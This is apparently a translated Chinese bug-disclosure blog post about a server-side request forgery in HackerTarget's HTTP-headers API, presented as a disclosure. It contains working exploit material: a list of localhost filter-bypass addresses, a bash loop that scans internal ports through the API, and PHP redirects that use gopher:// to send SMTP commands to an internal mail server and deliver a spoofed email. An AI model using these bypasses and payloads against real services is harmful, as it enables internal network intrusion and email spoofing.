导语:这是我在测试HackerTarget网站时意外发现的一个SSRF的思路,并利用它来访问内部服务!但是,没有bug奖励。

介绍

这是我在测试HackerTarget网站时意外发现的一个SSRF的思路,并利用它来访问内部服务!但是,没有bug奖励。

什么是HackerTarget

HackerTarget是一项服务,提供给许多安全人员使用的在线漏洞扫描器。他们也是DNSDumpster的创造者。

SSRF

服务器端请求伪造(SSRF)是一个漏洞,攻击者可以通过易受攻击的应用程序发送受控制的请求。我们可以通过使用URI方案(如dict://,gopher://,ftp://等等)与运行在不同协议上的不同服务进行通信。获取服务器来发出请求本身不是一个漏洞,但是当您可以向通常不会或不应该正常访问的内容(如内部网络或内部服务)发出请求时,它就变成了一个漏洞。

漏洞

我在使用DNSDumpster查找子域名时,我注意到有一个类似于“Get HTTP Headers”的地球的按钮: 

它调用https://api.hackertarget.com/httpheaders/?q=<target>并显示了一个简单的GET请求的HTTP头部,目标服务器。

我很好奇,所以我试着查询127.0.0.1!API转发HTTP请求,查询通过!然后,我试着查看是否可以通过查询127.0.0.1:22来获取SSH版本。

回应

我将漏洞报告给了他们,他们对我表示了感谢,并让我检查他们发布的补丁。我检查了,很容易绕过:它只是阻止127.0.0.1。以下是我使用的几个旁路:

0
127.00.1
127.0.01
0.00.0
0.0.00
127.1.0.1
127.10.1
127.1.01
0177.1
0177.0001.0001
0x0.0x0.0x0.0x0
0000.0000.0000.0000
0x7f.0x0.0x0.0x1
0177.0000.0000.0001
0177.0001.0000..0001
0x7f.0x1.0x0.0x1
0x7f.0x1.0x1
localtest.me

我告诉他们,没有办法通过使用基于字符串的检查来验证查询,所以我建议他们解析域名并根据本地IP范围进行检查。他们同意并表示会考虑这个问题,大约10天后,我问他们是否发布了另一个补丁,答复是:“这是我的待办事项清单。这并不重要,因为没有任何本地服务可能会受到影响”。

充当老板

看着他们高高在上的样子, 我决定接受挑战,打到内部网络,我决定编写一个bash脚本,用一个bypass方法和一个端口号来查询API,看看我能否看到它运行的内部服务:

#!/usr/bin/env bash
for port in `seq 1 9999`
do
echo -e "nn[+] Checking Port: "$port"n"
curl 'https://api.hackertarget.com/httpheaders/?q=http://'$1':'$port && echo -e "n"
done

HackerTarget限制25个API查询,所以我的脚本只显示端口1 – 25。我得到的唯一的反应是来自运行在端口22上的SSH,我很幸运地从SMTP服务器找到端口25,我完全忽略之前!

MTP?

· SMTP代表简单邮件传输协议。

· 这是用于发送电子邮件的TCP / IP协议。(谁会猜到?)

· 通常它与pop3imap一起使用,用于接收电子邮件。

我知道我可以用这个SSRF来打这个服务,但是我不能肯定我能发送邮件所需的有效命令。然后,我尝试除了http://和https://之外,哪些包装被支持和启用。

我尝试使用dict://,并能够得到libcurl版本,但是这不是很有帮助。接下来,我在服务器上创建了一个PHP文件,用gopher://wrapper启动重定向到另一个端口:

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>

简而言之,gopher://协议发送1个字符,一个新行(CR + LF)和剩下的数据,这允许我们发送多行请求。

开始netcat,并再次检查API:https://api.hackertarget.com/httpheaders/?q=http://sxcurity.pro/redirect.php。它遵循重定向,我收到了端口1337的多行请求!

这意味着我可以发送有效的命令到内部的SMTP服务器!

利用

我在我的服务器上创建了另一个PHP文件,将API重定向到内部SMTP服务器并发出有效的SMTP命令

<?php
        $commands = array(
                'HELO hackertarget.com',
                'MAIL FROM: <[email protected]>',
                'RCPT To: <[email protected]>',
                'DATA',
                'Subject: @sxcurity!',
                'Corben was here, woot woot!',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://0:25/_'.$payload);
?>

我最后一次改变了查询:https://api.hackertarget.com/httpheaders/?q=http://sxcurity.pro/smtp.php

我去掉了电子邮件,重新加载一次。

一个新的电子邮件从“以[email protected] ”身份发出,主题为“ @sxcurity ”,消息是“ Corben was here, woot woot!“

在大喊'heck yeah!'之后,我创建了一个快速的概念验证视频,并将其发送给HackerTarget。

   https://www.youtube.com/watch?time_continue=3&v=F_sC_OrSkIc

注意

他们没有bug奖励计划,所以请不要在没有他们许可的情况下测试他们!

源链接

Hacking more

...